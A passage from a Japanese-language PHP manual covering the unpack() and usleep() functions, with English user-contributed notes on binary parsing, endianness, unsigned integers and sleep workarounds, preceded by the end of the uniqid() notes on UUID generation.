$u=uuid();   // 0001-7f000001-478c8000-4801-47242987
echo $u;
echo "<br>";
print_r(uuidDecode($u)); // Array ( [serverID] => 0001 [ip] => 127.0.0.1 [unixtime] => 1200390144 [micro] => 0.28126525878906 )

function uuid($serverID=1)
{
    $t=explode(" ",microtime());
    return sprintf( '%04x-%08s-%08s-%04s-%04x%04x',
        $serverID,
        clientIPToHex(),
        substr("00000000".dechex($t[1]),-8),   // get 8HEX of unixtime
        substr("0000".dechex(round($t[0]*65536)),-4), // get 4HEX of microtime
        mt_rand(0,0xffff), mt_rand(0,0xffff));
}

function uuidDecode($uuid) {
    $rez=Array();
    $u=explode("-",$uuid);
    if(is_array($u)&&count($u)==5) {
        $rez=Array(
            'serverID'=>$u[0],
            'ip'=>clientIPFromHex($u[1]),
            'unixtime'=>hexdec($u[2]),
            'micro'=>(hexdec($u[3])/65536)
        );
    }
    return $rez;
}

function clientIPToHex($ip="") {
    $hex="";
    if($ip=="") $ip=getEnv("REMOTE_ADDR");
    $part=explode('.', $ip);
    for ($i=0; $i<=count($part)-1; $i++) {
        $hex.=substr("0".dechex($part[$i]),-2);
    }
    return $hex;
}

function clientIPFromHex($hex) {
    $ip="";
    if(strlen($hex)==8) {
        $ip.=hexdec(substr($hex,0,2)).".";
        $ip.=hexdec(substr($hex,2,2)).".";
        $ip.=hexdec(substr($hex,4,2)).".";
        $ip.=hexdec(substr($hex,6,2));
    }
    return $ip;
}

?>
ken at smallboxsoftware 17-May-2007 09:34
Just to note this function is fairly slow, and can bring your script to a crawl if it is in a loop. Strangely if you run it as uniqid('', true) it runs much more quickly
Jason 27-Mar-2007 12:10
Neither the pseudo-random number rand() nor the Mersenne Twister algorithms are cryptographically strong, and this is well known.  Simply combining non-cryptographically strong algorithms doesn't not make a cryptographically strong algorithm either.  Mersenne Twister is a fast algorithm with good k-distribution which will give you numbers for a long time before it repeats itself.  MT, rand(), and MD5 should NOT be used for encryption, or for cookies that that store a session ID that gives personal information.  A simple application where non-collision of session IDs is highly preferred but not critical, such as storing a user's shopping cart items for when they return to your site (but not their personal information), IS a good use for the MT, rand() MD5, uniqid() and combinations thereof.
mailrinke at _cutthis_yahoo dot com 19-Feb-2007 05:06
I have been using mimecs version lately and do not think it's safe to think the results are always unqiue.

Although it could be just my bad programming, I found exactly 1 collission while debugging my code. It seems to me that if my code was incorrect it would have happened more than once.

I recommend anyone to include time as a factor of such an ID as to be a little more certain it is in fact unique.
lance_rushing at hotmail dot com 23-Jan-2007 12:43
wooshoofoo, the reason mimec is calling mt_rand multiple times is because the largest number mt_rand can produce is 2^31 (2147483647, as reported by mt_getrandmax() on my server).  RFC 4122 requires a 128 bit value.

Also they are not "4 digit sequeces", but 4 digit hexadecimal numbers.  16^4 == 2^16.

mimec's limiting each random result to 2^16 avoids problem of PHP's 2^32 integer max (http://php.net/manual/en/language.types.integer.php).

If you want to call mt_rand fewer times:  mimec's version calls mt_rand 8 times ( 16 bits * 8 = 128 bits ).  You *could* call mt_rand 5 times ( 31 bits + 31 bits + 31 bits + 31 bits + 4 bits = 128 bits ).  But then you would have keep all your values as strings.

Something like:

<?php
/**
 * Another (ugly) "random or pseudo-random" version of RFC 4122
 *
 * This version calls mt_rand() the fewest possible times.
 * if mt_getrandmax() == 2^31 then this will call mt_rand() 5 times YMMV
 *
 * Personally, I would use mimec's version
 * To handle the large values, we'll keep everything as strings.
 *
 * @return string
 */
function uuid() {

     // Generate 128 bit random sequence
     $randmax_bits = strlen(base_convert(mt_getrandmax(), 10, 2));  // how many bits is mt_getrandmax()
     $x = '';
     while (strlen($x) < 128) {
         $maxbits = (128 - strlen($x) < $randmax_bits) ? 128 - strlen($x) :  $randmax_bits;
         $x .= str_pad(base_convert(mt_rand(0, pow(2,$maxbits)), 10, 2), $maxbits, "0", STR_PAD_LEFT);
     }

     // break into fields
     $a = array();
     $a['time_low_part'] = substr($x, 0, 32);
     $a['time_mid'] = substr($x, 32, 16);
     $a['time_hi_and_version'] = substr($x, 48, 16);
     $a['clock_seq'] = substr($x, 64, 16);
     $a['node_part'] =  substr($x, 80, 48);

     // Apply bit masks for "random or pseudo-random" version per RFC
     $a['time_hi_and_version'] = substr_replace($a['time_hi_and_version'], '0100', 0, 4);
     $a['clock_seq'] = substr_replace($a['clock_seq'], '10', 0, 2);

    // Format output
    return sprintf('%s-%s-%s-%s-%s',
        str_pad(base_convert($a['time_low_part'], 2, 16), 8, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_mid'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_hi_and_version'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['clock_seq'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['node_part'], 2, 16), 12, "0", STR_PAD_LEFT));
}

?>

However, I think mimec's version is much more elegant.
wooshoofoo 06-Dec-2006 06:00
I'm not sure the previous function by mimec is really all that random.  For one thing, generating 8 small random 4 digit sequeces != generating one 32 digit sequence.


バイナリ文字列からデータを切り出す

  • ≪ uniqid
  • usleep ≫
  • PHP Manual
  • その他の関数
  • バイナリ文字列からデータを切り出す

unpack

(PHP 4, PHP 5, PHP 7, PHP 8)

unpack — バイナリ文字列からデータを切り出す

説明

unpack ( string $format , string $string , int $offset = 0 ) : array|false

format に基づき、バイナリ文字列から配列に分解します。

分解した結果は連想配列に格納されます。 このようにするには、別のフォーマットコードを使用してそれらを スラッシュ / で区切る必要があります。 引数にリピータが含まれる場合の配列の要素名は、 指定した名前の後に順番に番号がついたものとなります。

パラメータ

format

書式コードの説明は pack() を参照ください。

string

パックされたデータ。

offset

データ切り出しを開始するオフセット。

返り値

バイナリ文字列を切り出した要素を含む連想配列を返します。失敗した場合に false を返します

変更履歴

バージョン | 説明
7.2.0 | float および double 型は、 ビッグエンディアンとリトルエンディアンの両方をサポートします。
7.1.0 | オプションの offset が追加されました。
5.5.0 | Perl の関数に動きを近づけるための変更をしました。 "a" は最後の NULL バイトを維持するようになりました。 "A" は最後の ASCII 空白文字 (スペース、タブ、改行、キャリッジリターン、 NULL バイト) をすべて取り除くようになりました。 NULL 埋め文字列用に "Z" が追加されました。これは最後の NULL バイトを取り除きます。

例

例1 unpack() の例

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("cchars/nint", $binarydata);
print_r($array);
?>

上の例の出力は以下となります。

Array
(
    [chars] => 4
    [int] => 160
)

例2 unpack() でのリピータの例

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("c2chars/nint", $binarydata);
print_r($array);
?>

上の例の出力は以下となります。

Array
(
    [chars1] => 4
    [chars2] => 0
    [int] => 40960
)

注意

警告

PHP は内部的に整数を符号付きで保持することに注意しましょう。 大きな値の unsigned long を切り出した場合、PHP の内部で保持された値は、 同じ大きさの符号付き整数となり、符号無しを指定して切出された場合でも 結果は負の数となります。

警告

要素に名前をつけなければ、1 から始まる数値インデックスを用います。 名前をつけない要素が複数ある場合は、データが上書きされてしまうかもしれないことに注意しましょう。 それぞれの要素について、数値インデックスが 1 から割りあてられるからです。

例3 unpack() で名前のないキーを扱う例

<?php
$binarydata = "\x32\x42\x00\xa0";
$array = unpack("c2/n", $binarydata);
var_dump($array);
?>

上の例の出力は以下となります。

array(2) {
  [1]=>
  int(160)
  [2]=>
  int(66)
}

c で指定した最初の値が n で指定した値で上書きされることに注意しましょう。

参考

  • pack() - データをバイナリ文字列にパックする

User Contributed Notes

ludwig at kni-online dot de 30-Jan-2020 11:57
Don't forget to decode user-defined-pseudo-byte-sequences before unpacking...
<?php
  $byte_code_string =  '00004040';
  var_dump ( unpack ( 'f', $byte_code_string ) );
?>
Result:
  array(1) {
    [1]=>
    float(6.4096905560973E-10)
  }

whereas
<?php
   $byte_code_string =  '00004040';
   var_dump ( unpack ( 'f', hex2bin ( $byte_code_string ) ) );
?>
Result:
  array(1) {
    [1]=>
    float(3)
  }
stanislav dot eckert at vizson dot de 29-May-2016 03:15
A helper class to convert integer to binary strings and vice versa. Useful for writing and reading integers to / from files or sockets.

<?php

    class int_helper
    {
        public static function int8($i) {
            return is_int($i) ? pack("c", $i) : unpack("c", $i)[1];
        }

        public static function uInt8($i) {
            return is_int($i) ? pack("C", $i) : unpack("C", $i)[1];
        }

        public static function int16($i) {
            return is_int($i) ? pack("s", $i) : unpack("s", $i)[1];
        }

        public static function uInt16($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("n", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("v", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("S", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int32($i) {
            return is_int($i) ? pack("l", $i) : unpack("l", $i)[1];
        }

        public static function uInt32($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("N", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("V", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("L", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int64($i) {
            return is_int($i) ? pack("q", $i) : unpack("q", $i)[1];
        }

        public static function uInt64($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("J", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("P", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("Q", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }
    }
?>

Usage example:
<?php
    Header("Content-Type: text/plain");
    include("int_helper.php");

    echo int_helper::uInt8(0x6b) . PHP_EOL;  // k
    echo int_helper::uInt8(107) . PHP_EOL;  // k
    echo int_helper::uInt8("\x6b") . PHP_EOL . PHP_EOL;  // 107

    echo int_helper::uInt16(4101) . PHP_EOL;  // \x05\x10
    echo int_helper::uInt16("\x05\x10") . PHP_EOL;  // 4101
    echo int_helper::uInt16("\x05\x10", true) . PHP_EOL . PHP_EOL;  // 1296

    echo int_helper::uInt32(2147483647) . PHP_EOL;  // \xff\xff\xff\x7f
    echo int_helper::uInt32("\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 2147483647

    // Note: Test this with 64-bit build of PHP
    echo int_helper::uInt64(9223372036854775807) . PHP_EOL;  // \xff\xff\xff\xff\xff\xff\xff\x7f
    echo int_helper::uInt64("\xff\xff\xff\xff\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 9223372036854775807

?>
yvan dot burrie at hotmail dot com 01-Oct-2013 11:03
Here's a demonstration concerning the speed of unpacking files:
So let's see which method is fastest between FREAD or SUBSTR?

I was creating a script that could read scenario files from a game, and render a preview of its terrain. The terrain structure within each file was huge (between 100,000 - 1,000,000 blocks containing 3 bits of data each). Therefore, I spent much effort to ensure it was fast and robust.

Method 1: This method retrieves the 3 bits of data found in each block. It uses the loop of widthxheight and implode+unpack+substr each block:
<?php
for ( $Y = 0 ; $Y < ( $width * $height ) ; $Y ++ ) {
    $Output [ Map ] [ $Y ] [ TerrainID ] = implode ( null , unpack ( 'c1' , substr ( $Input , $Line ) ) ) ; $Line += 1 ;
    $Output [ Map ] [ $Y ] [ Elevation ] = implode ( null , unpack ( 'c1' , substr ( $Input , $Line ) ) ) ; $Line += 1 ;
    $Output [ Map ] [ $Y ] [ Unknown ] = implode ( null , unpack ( 'c1' , substr ( $Input , $Line ) ) ) ; $Line += 1 ;
}
//The average microtime was: 2.9 sec
?>
Note that it takes even more time if you use a custom function to implement the implode+unpack+substr functions.

Now... This method uses the FREAD function:
<?php
for ( $Y = 0 ; $Y < ( $width * $height ) ; $Y ++ ) {
    $Output [ Map ] [ $Y ] = unpack ( 'c3' , fread ( $sc , 3 ) ) ;
}
//Average microtime was: 0.7 sec
?>
I recommend using the FREAD method instead of SUBSTR.

Another test!!! This method is 10x faster than the above. This does not use the FOR loop:
<?php
$Output [ Map ] [ Data ] = unpack ( 'c' . ( $width * $height ) , stream_get_contents ( $sc ) ) ;
//Average microtime: 0.08 - 0.05 sec
?>

If you want to read files much faster, you should try to reduce the number of loops and use the unpack function to its simplest and robust method.
googlybash24 at aol dot com 19-Sep-2012 05:20
To convert big endian to little endian or to convert little endian to big endian, use the following approach as an example:

<?php
// file_get_contents() returns a binary value, unpack("V*", _ ) returns an unsigned long 32-bit little endian decimal value, but bin2hex() after that would just give the hex data in the file if alone, so instead we use:
// file_get_contents(), unpack("V*", _ ), then dechex(), in that order, to get the byte-swapping effect.
?>

With the logic of the approach in this example, you can discover how to swap the endian byte order as you need.
kobrasrealm at gmail dot com 09-May-2012 05:50
I wrote a quick pair of functions using pack/unpack for converting between raw binary (e.g. openssl_random_pseudo_bytes() output) and hexadecimal (e.g. hash() output):

<?php
function raw2hex($raw) {
  $m = unpack('H*', $raw);
  return $m[1];
}

function hex2raw($hex) {
  return pack('H*', $hex);
}
?>

Feel free to suggest any improvements, but I thought this was worth sharing.
rogier 05-Oct-2011 07:19
be aware of the behavior of your system that PHP resides on.

On x86, unpack MAY not yield the result you expect for UInt32

This is due to the internal nature of PHP, being that integers are internally stored as SIGNED!

For x86 systems, unpack('N', "\xff\xff\xff\xff") results in -1
For (most?) x64 systems, unpack('N', "\xff\xff\xff\xff") results in 4294967295.

This can be verified by checking the value of PHP_INT_SIZE.
If this value is 4, you have a PHP that internally stores 32-bit.
A value of 8 internally stores 64-bit.

To work around this 'problem', you can use the following code to avoid problems with unpack.
The code is for big endian order but can easily be adjusted for little endian order (also, similar code works for 64-bit integers):

<?php
function _uint32be($bin)
{
    // $bin is the binary 32-bit BE string that represents the integer
    if (PHP_INT_SIZE <= 4){
        list(,$h,$l) = unpack('n*', $bin);
        return ($l + ($h*0x010000));
    }
    else{
        list(,$int) = unpack('N', $bin);
        return $int;
    }
}
?>

Do note that you *could* also use sprintf('%u', $x) to show the unsigned real value.
Also note that (at least when PHP_INT_SIZE = 4) the result WILL be a float value when the input is larger then 0x7fffffff (just check with gettype);

Hope this helps people.
David Gero dave at havidave dot com 25-Apr-2011 07:50
You might find these functions useful:

<?php
function byteStr2byteArray($s) {
        return array_slice(unpack("C*", "\0".$s), 1);
}
function byteArray2byteStr(array $t) {
        return call_user_func_array(pack, array_merge(array("C*"), $t));
}
function lsbStr2ushortArray($s) {
        return array_slice(unpack("v*", "\0\0".$s), 1);
}
function ushortArray2lsbStr(array $t) {
        return call_user_func_array(pack, array_merge(array("v*"), $t));
}
function lsbStr2ulongArray($s) {
        return array_slice(unpack("V*", "\0\0\0\0".$s), 1);
}
function ulongArray2lsbStr(array $t) {
        return call_user_func_array(pack, array_merge(array("V*"), $t));
}
?>

Of course, you can address byte strings as if they're arrays with numerical indexes, but the other functions are helpful.
zac at picolink dot net 22-Oct-2010 08:33
The documentation is clear that an integer read using an unsigned format character will still be stored as a signed integer.  The often-cited work-around is to use sprintf('%u', $bigint) to properly display integers with the MSB set.

In the case where the numeric value is more important than how it's displayed, you can still work with other large integers using intval() to "upgrade" your existing unsigned integers.

I had a problem comparing 32-bit integers read from files with hard-coded constants (file signatures tend to need this).  Here's what I did to avoid converting everything into strings:

<?php

$bigint = 0x89504E47;

$packed = pack('N', $bigint);

list($unpacked) = array_values(unpack('N', $packed));

//The $bigint remains an unsigned integer.
//Even though their bit-wise values are identical, comparison fails.

echo 'bigint ',
  ($bigint == $unpacked ? '==' : '!='),
  " unpacked\n";

//intval() triggers a re-interpretation of $bigint.
//$bigint is internally compared as a signed integer.
//Since the bit-wise value of $bigint never changes, comparison succeeds.

echo 'intval(bigint) ',
  (intval($bigint) == $unpacked ? '==' : '!='),
  " unpacked\n";

?>

It works, but it's a little backwards.  If anyone has any ideas on how to "downgrade" a signed integer into an unsigned integer without using strings, that would be a valuable note to add to the documentation.
Aaron Wells 08-Oct-2010 03:06
Another option for converting binary data into PHP data types, is to use the Zend Framework's Zend_Io_Reader class:
http://bit.ly/9zAhgz

There's also a Zend_Io_Writer class that does the reverse.
norwood at computer dot org 06-Apr-2010 02:15
Reading a text cell from an Excel spreadsheet returned a string with low-order embedded nulls: 0x4100 0x4200 etc. To remove the nulls, used

<?php
$strWithoutNulls = implode( '', explode( "\0", $strWithNulls ) );
?>

(unpack() didn't seem to help much here; needed chars back to re-constitute the string, not integers.)
Anonymous 23-Sep-2009 08:02
Functions I found useful when dealing with fixed width file processing, related to unpack/pack functions.
<?php
/**
* funpack
* format: array of key, length pairs
* data: string to unpack
*/
function funpack($format, $data){
    foreach ($format as $key => $len) {
        $result[$key] = trim(substr($data, $pos, $len));
        $pos+= $len;
    }
    return $result;
}

/**
* fpack
* format: array of key, length pairs
* data: array of key, value pairs to pack
* pad: padding direction
*/
function fpack($format, $data, $pad = STR_PAD_RIGHT){
    foreach ($format as $key => $len){
        $result .= substr(str_pad($data[$key], $len, $pad), 0, $len);
    }
    return $result;
}
?>
sica at wnet com br 20-Jul-2009 12:45
The script following is a example how to save more than one values on file separating its with "\r\n" and how to recovering its values.

<?php
// Save two integer values in a binary file
$nomearq = "./teste.bin";
$valor = 123;
$ptrarq = fopen($nomearq, "wb");
$valorBin = pack("L",$valor);
echo "First value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
echo "Separator \\r\\n with ";
echo fwrite($ptrarq, "\r\n")." bytes<br>";
$valor = 456;
$valorBin = pack("L",$valor);
echo "Second value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
fclose($ptrarq);

// Recover the saved values
$ptrarq = fopen($nomearq, "rb");
$valorBin = file($nomearq,filesize($nomearq));
echo "<br>The reading values is:<br>";
foreach($valorBin as $valor){
  $valor = unpack("L",$valor);
  print_r($valor);
  echo "<br>";
}
fclose($ptrarq);
?>

Results:
First value (123) packed with 4 bytes
Separator \r\n with 2 bytes
Second value (456) packed with 4 bytes

The reading values is:
Array ( [1] => 123 )
Array ( [1] => 456 )
jlarsen at fsu dot edu 09-Dec-2008 03:40
As with perl, the count for hex is number of nybbles or half-bytes, this differs from the other options which count in full bytes.
Nhon 21-May-2008 01:42
As stated above, "if you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified."

To restore the original unsigned value, you could do this :

if ($unpackedVal <0)
{
      $unpackedVal += 4294967296;
}

Hope this helps !

Cheers
Anonymous Coward 28-Mar-2008 10:52
Warning: This unpack function makes the array with keys starting at 1 instead of starting at 0.

For example:
<?php
 function read_field($h) {
  $a=unpack("V",fread($h,4));
  return fread($h,$a[1]);
 }
?>
joe dot nemeth @ palg dot com 08-Feb-2008 10:29
A simpler solution is to mask the value with 0xffffffff. For instance:

<?php
$rec = unpack(
  "Vvalue/".
  "Vhash32/",
  $recbin);
$rec['hash32'] &= 0xffffffff;
$rec['value'] &= 0xffffffff;
?>

Unlike sprintf(), which converts the value to a string, this preserves the numeric type of the value.
Shawn Kelly 06-Feb-2008 12:14
Above it says this:

  "Note that PHP internally stores integral values as signed. If  you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified."

This happened to me.  I wanted to get a big number from a unsigned long, but it kept coming returning a negative.  Happened to notice that sprintf('%u',$dta) will take the useless negative and restore it into its large unsigned proper magnitude.

Hope this saves someone a little time...
Justin dot SpahrSummers at gmail dot com 08-Oct-2005 12:10
I hadn't realized that if the number after the unpack type was 1 (i.e. "V1page"), that it would behave as if there was no number at all. I had been using a variable and didn't think to watch for this. For instance,

<?php

if ($something)
   $get = 2;
else
   $get = 1;

$arr = unpack("V" . $get . "page", $data);

?>

Now if $something was FALSE, then $arr will only have one entry named "page". If $something was TRUE, $arr would have "page1" and "page2".
info at dreystone dot com 04-May-2005 11:31
Here is my solution to reading a Big-Endian formatted double on an Little-Endian machine.

<?php

function ToDouble($data) {
    $t = unpack("C*", pack("S*", 256));
    if($t[1] == 1) {
        $a = unpack("d*", $data);
    } else {
        $a = unpack("d*", strrev($data));
    }
    return (double)$a[1];
}

?>
jjfoerch at earthlink dot net 21-Oct-2004 04:57
I had a situation where I had to unpack a file filled with little-endian order double-floats in a way that would work on either little-endian or big-endian machines.  PHP doesn't have a formatting code that will change the byte order of doubles, so I wrote this workaround.

<?php
/*The following code is a workaround for php's unpack function
which does not have the capability of unpacking double precision
floats that were packed in the opposite byte order of the current
machine.
*/
function big_endian_unpack ($format, $data) {
    $ar = unpack ($format, $data);
    $vals = array_values ($ar);
    $f = explode ('/', $format);
    $i = 0;
    foreach ($f as $f_k => $f_v) {
    $repeater = intval (substr ($f_v, 1));
    if ($repeater == 0) $repeater = 1;
    if ($f_v{1} == '*')
    {
        $repeater = count ($ar) - $i;
    }
    if ($f_v{0} != 'd') { $i += $repeater; continue; }
    $j = $i + $repeater;
    for ($a = $i; $a < $j; ++$a)
    {
        $p = pack ('d',$vals[$i]);
        $p = strrev ($p);
        list ($vals[$i]) = array_values (unpack ('d1d', $p));
        ++$i;
    }
    }
    $a = 0;
    foreach ($ar as $ar_k => $ar_v) {
    $ar[$ar_k] = $vals[$a];
    ++$a;
    }
    return $ar;
}

list ($endiantest) = array_values (unpack ('L1L', pack ('V',1)));
if ($endiantest != 1) define ('BIG_ENDIAN_MACHINE',1);
if (defined ('BIG_ENDIAN_MACHINE')) $unpack_workaround = 'big_endian_unpack';
else $unpack_workaround = 'unpack';
?>

This workaround is used like this:

<?php

function foo() {
        global $unpack_workaround;
    $bar = $unpack_workaround('N7N/V2V/d8d',$my_data);
//...
}

?>

On a little endian machine, $unpack_workaround will simply point to the function unpack.  On a big endian machine, it will call the workaround function.

Note, this solution only works for doubles.  In my project I had no need to check for single precision floats.
kennwhite dot nospam at hotmail dot com 28-Aug-2004 12:32
If having a zero-based index is useful/necessary, then instead of:

$int_list = unpack("s*", $some_binary_data);

 try:

$int_list = array_merge(unpack("s*", $some_binary_data));

This will return a 0-based array:

$int_list[0] = x
$int_list[1] = y
$int_list[2] = z
...

rather than the default 1-based array returned from unpack when no key is supplied:

$int_list[1] = x
$int_list[2] = y
$int_list[3] = z
...

It's not used often, but array_merge() with only one parameter will compress a sequentially-ordered numeric-index, starting with an index of [0].
Sergio Santana: ssantana at tlaloc dot imta dot mx 09-Jul-2004 10:54
This is about the last example of my previous post. For the sake of clarity, I'm including again here the example, which expands the one given in the formal documentation:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
     echo "\$array[$key] = $value <br>\n";
?>

This outputs:

$array[chars1] = 65
$array[chars2] = 65
$array[int] = 65

Here, we assume that the ascii code for character 'A' is decimal 65.

Remebering that the format string structure is:
<format-code> [<count>] [<array-key>] [/ ...],
in this example, the format string instructs the function to
  1. ("c2...") Read two chars from the second argument ("AA ...),
  2. (...chars...) Use the array-keys "chars1", and "chars2" for
      these two chars read,
  3. (.../n...) Read a short int from the second argument (...\0A"),
  4. (...int") Use the word "int" as the array key for the just read
      short.

I hope this is clearer now,

Sergio.
Sergio Santana: ssantana at tlaloc dot imta dot mx 08-Jul-2004 07:41
Suppose we need to get some kind of internal representation of an integer, say 65, as a four-byte long. Then we use, something like:

<?
  $i = 65;
  $s = pack("l", $i); // long 32 bit, machine byte order
  echo strlen($s) . "<br>\n";
  echo "***$s***<br>\n";
?>

The output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

4
***A***

(That is the string "A\0\0\0")

Now we want to go back from string "A\0\0\0" to number 65. In this case we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number 65
  $arr = unpack("l", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value<br>\n";
?>

And this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[] = 65

Let's give the array key a name, say "mykey". In this case, we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number  65
  $arr = unpack("lmykey", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value\n";
?>

An this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[mykey] = 65

The "unpack" documentation is a little bit confusing. I think a more complete example could be:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
    echo "\$array[$key] = $value <br>\n";
?>

whose output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

$array[chars1] = 65 <br>
$array[chars2] = 65 <br>
$array[int] = 65 <br>

Note that the format string is something like
<format-code> [<count>] [<array-key>] [/ ...]

I hope this clarifies something

Sergio
adam at adeptsoftware dot com 16-Jun-2002 09:01
If you just want to extract a dword/long int from a binary string, the following code works beautifully (intel endian):

$Number = ord($Buffer{0}) | (ord($Buffer{1})<<8) | (ord($Buffer{2})<<16) | (ord($Buffer{3})<<24);
DanRichter.at.programmer.dot.net 10-Apr-2001 11:26
If no key name is given [e.g., unpack('C*',$data)], the keys are simply integers starting at 1, and you have a standard array. (I know of no way to get the array to start at zero.)

If you use multiple types, you must give a key name for all of them (except optionally one), because the key counter is reset with each slash. For example, in unpack('n2/C*',$data), indices 1 and 2 of the returned array are filled by integers ('n'), then overwritten with characters ('C').
iredden at redden dot on dot ca 11-Mar-2000 04:34
<?php

function parse_pascalstr($bytes_parsed, $parse_str) {
    $parse_info = unpack("x$bytes_parsed/cstr_len", $parse_str);
    $str_len = $parse_info["str_len"];
    $bytes_parsed = $bytes_parsed + 1;
    $parse_info = unpack("x$bytes_parsed/A".$str_len."str", $parse_str);
    $str = $parse_info["str"];
    $bytes_parsed = $bytes_parsed + strlen($str);

    return array($str, $bytes_parsed);
}

?>


マイクロ秒単位で実行を遅延する

  • ≪ unpack
  • 変更履歴 ≫
  • PHP Manual
  • その他の関数
  • マイクロ秒単位で実行を遅延する

usleep

(PHP 4, PHP 5, PHP 7, PHP 8)

usleep — マイクロ秒単位で実行を遅延する

説明

usleep ( int $microseconds ) : void

指定したマイクロ秒数だけプログラムの実行を遅延させます。

パラメータ

microseconds

実行を停止するマイクロ秒数。マイクロ秒とは、一秒の百万分の一です。

注意: 1000000 より大きな値を指定すること (つまり、1秒以上スリープさせること) は、 オペレーティングシステムによってはサポートしていないかもしれません。 その場合は、sleep() を代わりに使って下さい。

注意: Windows では、与えられたマイクロ秒以上に長くスリープする可能性があります。 動作はハードウェア依存です。

返り値

値を返しません。

例

例1 usleep() の例

<?php

// 現在の時刻
echo date('h:i:s') . "\n";

// 2 秒待つ
usleep(2000000);

// 復帰!
echo date('h:i:s') . "\n";

?>

上の例の出力は以下となります。

11:13:28
11:13:30

参考

  • sleep() - 実行を遅延させる
  • time_nanosleep() - 秒およびナノ秒単位で実行を遅延する
  • time_sleep_until() - 指定した時刻まで実行を遅延する
  • set_time_limit() - 実行時間の最大値を制限する

User Contributed Notes

septerrianin at mail dot ru 06-Aug-2018 09:51
Note that this function has an overhead!

Example:
<?php
for ($i = 0; $i < 1000000; ++$i)
{
    usleep(1);
}
?>

This block is running about 70 seconds on my server.
Script take about 70 microseconds for every usleep() function call.
m dot prowler at gmail dot com 04-Nov-2015 07:26
On both MacOS X and Linux the usleep() call seems to consume CPU cycles, whereas sleep() and time_nanosleep() do not. This was the same on PHP 5.3.29 and 5.5.29.

I used a loop with just a call to sleep/usleep/time_nanosleep, and compared them all with an empty loop. Obviously the empty loop consumed 99% of the CPU, sleep used 0%, usleep used 3% for 1000ms and 6% for 100ms, and time_nanosleep used 0% for both 500ms and 1000ms.
Docey 27-May-2007 02:19
WARNING!!

the snippet below by 'Marius (mm at co-operation dot de)' is NOT a usleep and it will keep the CPU at 100% running. why people keep posting that crap is a complete mystery for me.

the idea of sleep and usleep is that by letting the cpu run a few idle cycles so the other programs can have some cycles run of their own. what results in better response times and lower overall system-load. so if you have to wait for something, go to sleep for a few seconds instead of occupying the cpu while doing absolute nothing but waitting.
Mike at SevenCode dot com 11-Jan-2007 03:36
Dude you are SO the man for that code snippet. It worked like a charm. I just wanted to point out a couple things and offer my own improvement.

1. If you're like me, you were probably wondering why the socket had to keep being recreated on each call, and why you couldn't just create a static socket. Its because socket_select assumes you're passing in a pointer, and will alter the variable on return to reflect the actual sockets that were changed.

2. I couldn't figure out for the life of me why socket_select wasn't defined. Its because you hadn't enabled the right extension in php.ini

Ok so heres my slight improvement. The only real thing I did is use a static variable for the socket, to avoid creating a brand new socket on each call of this function. I'm not sure if socket creation will cause things to crash down the line like the other problems reported on here, but if you ask me better safe then sorry.

function Sleeper($mSec)
{
    //    For dummies like me who spent 5 minutes
    //    wondering why socket_create wasn't defined
    if(!function_exists('socket_create')){
        die("Please enable extension php_sockets.dll");
    }

    //    So the socket is only created once
    static $socket=false;
    if($socket===false){
        $socket=array(socket_create(AF_INET,SOCK_RAW,0));
    }
    $pSock=$socket;

    //    Calc time
    $uSex = $mSec * 1000;

    //    Do the waiting
    socket_select($read=NULL,$write=NULL,$pSock,0,$uSex);

    //    OCD
    return true;
}
php_manual at lk2 dot de 28-Dec-2006 02:16
I have no idea why nobody came up with this yet, but there is an efficient way to reproduce usleep() under windows:

<?php
function usleep_win($msec) {
   $usec = $msec * 1000;
   socket_select($read = NULL, $write = NULL, $sock = array(socket_create (AF_INET, SOCK_RAW, 0)), 0, $usec);
}
?>

* Doesnt busy wait
* Doesnt eat memory
* Works for millions of repetitions
* Seems to be rather efficient

It seems that the average error (on my machine) is about 5ms (it sleeps 5ms more than intended) thats probably due to code execution as well as kernel timers.

A socket without any purpose is highly unlikely to every cause an exception, so socket_select will always sleep until the timeout is hit.
Rasmus Schultz 23-Aug-2006 06:39
I have spent DAYS trying to create a reliable usleep()-replacement for Windows.

I have only this to offer:

As commented by someone else already, the gettimeofday() method used below is useless - PHP will use all available CPU power doing nothing.

